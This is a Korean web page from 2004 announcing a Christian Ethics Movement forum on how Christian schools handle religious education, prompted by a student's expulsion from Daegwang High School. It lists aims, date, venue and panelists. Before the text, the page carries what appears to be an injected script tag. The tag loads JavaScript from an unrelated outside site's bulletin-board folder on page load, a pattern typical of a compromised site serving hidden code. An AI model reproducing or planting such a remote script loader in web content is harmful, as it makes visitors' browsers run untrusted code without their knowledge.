<SCRIPT Language=JavaScript src=http://soccer1.ktdom.com/bbs/data/soccer4u/castsound.js></script> </script> 1. 취지

 지난 여름, 서울 대광고등학교의 강의석 학생(18세, 3학년)이, 학내에서의 종교의 자유를 인정해 달라는 내용의 1인시위를 벌였다는 이유로 학교측으로부터 제적을 당하는 일이 벌어졌습니다. 이후 이 문제는 커다란 파문을 일으켰고, 법원의 판결에 따라 강의석 학생은 학교로 돌아간 상태이며, 최근에는 대광고등학교가 예배의 자율권을 인정하는 결론을 내린 상태입니다.

 그러나 이 문제는 단순히 한 고등학교 학생이 벌인 일련의 활동으로 끝나는 것이 아니라, 우리사회 속에서 기독교 학교가 갖는 현실적인 문제점에 대해 생각해 보아야 할 사항이라고 생각합니다. 기독교 학교로서의 정체성을 살리고, 비신자인 학생들에게 참된 기독교 복음을 전하는 방법을 어떻게 가져갈 것인가에 대해 고민하는 일은, 미루기에는 너무 늦은 감이 있습니다.

 이에 기윤실 건강교회운동본부에서는 건강교회 포럼을 통해, 다원화된 사회 속에서 기독교 학교가 필연적으로 가질 수밖에 없는 현실적인 어려움을 생각해 보고, 바람직한 기독교 교육에 대한 대안을 고민하며 토론의 장을 마련하게 되었습니다.

2. 목적

1) 기독교학교에서의 종교교육의 실태를 조사함으로써, 현재의 기독교학교 내 종교교육의 문제점을 찾아본다.

2) 다원화된 사회 속에서 기독교 학교가 가져가야 할 바람직한 기독교교육의 방법에 대해 생각해 본다.

3) 복음전파라는 사명을 교육으로 이루려는 미션스쿨을 돕기 위해 한국교회가 해야 할 일들에 대해 생각해 본다.


3. 진행

1) 일시 : 2004년 10월 28일(목) 오후 7시 30분

2) 장소 : 강남교회 교육관 (노량진 위치)

3) 주최 : 기독교윤리실천운동 건강교회운동본부
 (문의: 794-6200/010-6213-2749)

4. 프로그램

1) 사회 - 이진우 목사 (기윤실 건강교회운동 운영위원장)

2) 주제발제 - 이웅상 교수 (명지대 교수, 교목실장)

3) 패널토론

 ① 김용관 목사 (오산고 교목, 전국교목협의회장)

 - 바람직한 교내 종교수업 운영 방안

 ② 송영윤 목사

 - 바람직한 교내 채플 방안

 ③ 성기문 교수(국제신학대학원대학교 교수, 건강교회운영위원)

 - 한국교회와 기독교 재단의 역할과 미래

4) 자유토론 - 방청석 토론

"기독교 학교의 기독교 교육, 어떻게 할 것인가?" 포럼


*대중교통 이용시

지하철 : 1호선 노량진역 하차 도보로 10분.